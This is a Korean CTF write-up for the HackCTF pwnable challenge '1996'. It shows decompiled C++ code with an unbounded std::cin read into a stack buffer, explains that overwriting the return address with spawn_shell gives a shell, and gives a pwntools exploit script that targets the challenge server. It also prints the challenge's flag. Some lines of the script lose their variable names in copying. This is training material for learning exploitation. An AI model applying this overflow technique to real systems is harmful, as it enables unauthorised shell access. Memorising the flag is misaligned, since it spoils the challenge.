[HackCTF / pwnable] 1996

2019. 10. 8. 07:14Wargame & CTF/HackCTF

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
int __cdecl main(int argc, const char **argv, const char **envp)
{
  __int64 v3; // rdx
  __int64 v4; // rax
  __int64 v5; // rdx
  __int64 v6; // rbx
  char *v7; // rax
  __int64 v8; // rdx
  __int64 v9; // rax
  char name; // [rsp+0h] [rbp-410h]
 
  std::operator<<<std::char_traits<char>>(&_bss_start, "Which environment variable do you want to read? ", envp);
  std::operator>><char,std::char_traits<char>>(&std::cin&name);
  v4 = std::operator<<<std::char_traits<char>>(&_bss_start, &name, v3);
  v6 = std::operator<<<std::char_traits<char>>(v4, "=", v5);
  v7 = getenv(&name);
  v9 = std::operator<<<std::char_traits<char>>(v6, v7, v8);
  std::ostream::operator<<(v9, &std::endl<char,std::char_traits<char>>);
  return 0;
}
cs


1
2
3
4
5
6
7
8
9
int spawn_shell(void)
{
  char *argv; // [rsp+0h] [rbp-10h]
  __int64 v2; // [rsp+8h] [rbp-8h]
 
  argv = "/bin/bash";
  v2 = 0LL;
  return execve("/bin/bash"&argv, 0LL);
}
cs


spawn_shell 함수를 실행하면 쉘이 따진다.

std::cin으로 name에 입력을 받는다. 이거를 오버플로우를 시켜서 ret을 spawn_shell로 덮어씌우면 쉘이 뜰것이다.


ex.py


1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
 
= ELF("./1996")
#p = process("./1996")
= remote("ctf.j0n9hyun.xyz"3013)
 
p.recvuntil("? ")
 
payload = ""
payload += "A"*(0x410+0x8)
payload += p64(e.symbols["_Z11spawn_shellv"])
p.sendline(payload)
p.interactive()
cs


1996 : HackCTF{b29a2800780d85cfc346}

'Wargame & CTF > HackCTF' 카테고리의 다른 글

[HackCTF / pwnable] RTL_Core  (0) 2019.10.08
[HackCTF / pwnable] Random Key  (0) 2019.10.08
[HackCTF / pwnable] g++ pwn  (0) 2019.10.08
[HackCTF / pwnable] RTL_World  (0) 2019.10.08
[HackCTF / pwnable] Yes or no  (0) 2019.10.05